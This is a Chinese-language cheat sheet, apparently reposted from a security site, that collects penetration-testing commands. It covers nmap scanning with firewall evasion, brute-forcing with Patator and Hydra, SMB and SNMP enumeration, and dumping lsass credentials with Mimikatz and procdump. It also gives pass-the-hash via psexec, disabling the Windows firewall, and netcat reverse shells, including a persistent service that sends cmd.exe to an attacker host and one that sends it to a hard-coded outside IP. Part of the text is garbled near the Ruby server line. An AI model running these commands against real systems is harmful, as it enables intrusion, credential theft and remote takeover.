首页 网络安全 安全学院 查看内容

渗透测试工具实战技巧合集

2016-5-30 12:22 2129 0

摘要: 本文为作者总结自己在渗透测试中常用的一些小技巧。原文分为两部分,译者将其合二为一,方便大家查阅。最好的 NMAP 扫描策略code# 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn - ...

本文为作者总结自己在渗透测试中常用的一些小技巧。原文分为两部分,译者将其合二为一,方便大家查阅。

最好的 NMAP 扫描策略

<code># 适用所有大小网络最好的 nmap 扫描策略

# 主机发现,生成存活主机列表
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep &quot;Status: Up&quot; Discovery.gnmap | cut -f 2 -d ' ' &gt; LiveHosts.txt

# 端口发现,发现大部分常用端口
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# 显示 TCP\UDP 端口
$ grep &quot;open&quot; FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print &quot;T:&quot;$0}'
$ grep &quot;open&quot; FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print &quot;U:&quot;$0}'

# 侦测服务版本
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# 扫做系统扫描
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# 系统和服务检测
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
</code>

Nmap – 躲避防火墙

<code># 分段
$ nmap -f

# 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
$ nmap --mtu 24

# 生成随机数量的欺骗
$ nmap -D RND:10 [target]

# 手动指定欺骗使用的 IP
$ nmap -D decoy1,decoy2,decoy3 etc.

# 僵尸网络扫描, 首先需要找到僵尸网络的IP
$ nmap -sI [Zombie IP] [Target IP]

# 指定源端口号
$ nmap --source-port 80 IP

# 在每个扫描数据包后追加随机数量的数据
$ nmap --data-length 25 IP

# MAC 地址欺骗,可以生成不同主机的 MAC 地址
$ nmap --spoof-mac Dell/Apple/3Com IP
</code>

Nmap 进行 Web 漏洞扫描

<code>cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
</code>

使用 DIRB 爆破目录

注: DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的 patator , dirsearch , DirBuster , 国内的御剑等等。

<code>dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
</code>

Patator – 全能暴力破解测试工具

<code># git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP 爆破
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
</code>

使用 Fierce 爆破 DNS

注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBrute 和 SubBrute 等等

<code># http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt
</code>

使用 Nikto 扫描 Web 服务

<code>nikto -C all -h http://IP
</code>

扫描 WordPress

<code>git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p
</code>

HTTP 指纹识别

<code>wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt
</code>

使用 Skipfish 扫描

注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。

<code>skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
</code>

使用 NC 扫描

<code>nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
</code>

Unicornscan

注: Unicornscan 是一个信息收集和安全审计的工具。

<code>us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H 在生成报告阶段解析主机名
-m 扫描类型 (sf - tcp, U - udp)
-Iv - 详细
</code>

使用 Xprobe2 识别操作系统指纹

<code>xprobe2 -v -p tcp:80:open IP
</code>

枚举 Samba

<code>nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U &quot;&quot; target
enum4linux target
</code>

枚举 SNMP

<code>snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
</code>

实用的 Windows cmd 命令

<code>net localgroup Users
net localgroup Administrators
search dir/s *.doc
system(&quot;start cmd.exe /k $cmd&quot;)
sc create microsoft_update binpath=&quot;cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe&quot; start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe &quot;privilege::debug&quot; &quot;log&quot; &quot;sekurlsa::logonpasswords&quot;
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe &quot;sekurlsa::minidump lsass.dmp&quot; &quot;log&quot; &quot;sekurlsa::logonpasswords&quot;
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统
</code>

PuTTY 连接隧道

<code>转发远程端口到目标地址
plink.exe -P 22 -l root -pw &quot;1234&quot; -R 445:127.0.0.1:445 IP
</code>

Meterpreter 端口转发

<code># https://www.offensive-security.com/metasploit-unleashed/portfwd/
# 转发远程端口到目标地址
meterpreter &gt; portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali &gt; rdesktop 127.0.0.1:3389
</code>

开启 RDP 服务

<code>reg add &quot;hklm\system\currentcontrolset\control\terminal server&quot; /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
</code>

关闭 Windows 防火墙

<code>netsh firewall set opmode disable
</code>

Meterpreter VNC\RDP

<code># https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043
</code>

使用 Mimikatz

获取 Windows 明文用户名密码

<code>git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
</code>

获取哈希值

<code>git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd

或者

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

在或者

meterpreter &gt; run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf &gt; use exploit/windows/smb/psexec
msf exploit(psexec) &gt; set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) &gt; set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) &gt; exploit
meterpreter &gt; shell
</code>

使用 Hashcat 破解密码

<code>hashcat -m 400 -a 0 hash /root/rockyou.txt
</code>

使用 NC 抓取 Banner 信息

<code>nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
&lt;enter&gt;
&lt;enter&gt;
</code>

使用 NC 在 Windows 上反弹 shell

<code>c:&gt;nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:&gt;nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
</code>

查找 SUID\SGID root 文件

<code># 查找 SUID root 文件
find / -user root -perm -4000 -print

# 查找 SGID root 文件:
find / -group root -perm -2000 -print

# 查找 SUID 和 SGID 文件:
find / -perm -4000 -o -perm -2000 -print

# 查找不属于任何用户的文件:
find / -nouser -print

# 查找不属于任何用户组的文件:
find / -nogroup -print

# 查找软连接及其指向:
find / -type l -ls
</code>

Python shell

<code>python -c 'import pty;pty.spawn(&quot;/bin/bash&quot;)'
</code>

Python\Ruby\PHP HTTP 服务器

<code>python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e &quot;WEBrick::HTTPServer.new(:Port =&gt; 8888, <img data-original="http://image.3001.net/images/index/smilies/icon_biggrin.gif" src="http://www.freebuf.com/buf/themes/freebuf/images/grey.gif" alt=":D" />
</code>

ocumentRoot => Dir.pwd).start" php -S 0.0.0.0:8888

获取进程对应的 PID

<code>fuser -nv tcp 80
fuser -k -n tcp 80
</code>

使用 Hydra 爆破 RDP

<code>hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
</code>

挂载远程 Windows 共享文件夹

<code>smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
</code>

Kali 下编译 Exploit

<code>gcc -m32 -o output32 hello.c (32 位)
gcc -m64 -o output hello.c (64 位)
</code>

Kali 下编译 Windows Exploit

<code>wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除
1

路过

雷人

握手

鲜花

鸡蛋

刚表态过的朋友 (1 人)

  • 路过

    匿名

最新评论

返回顶部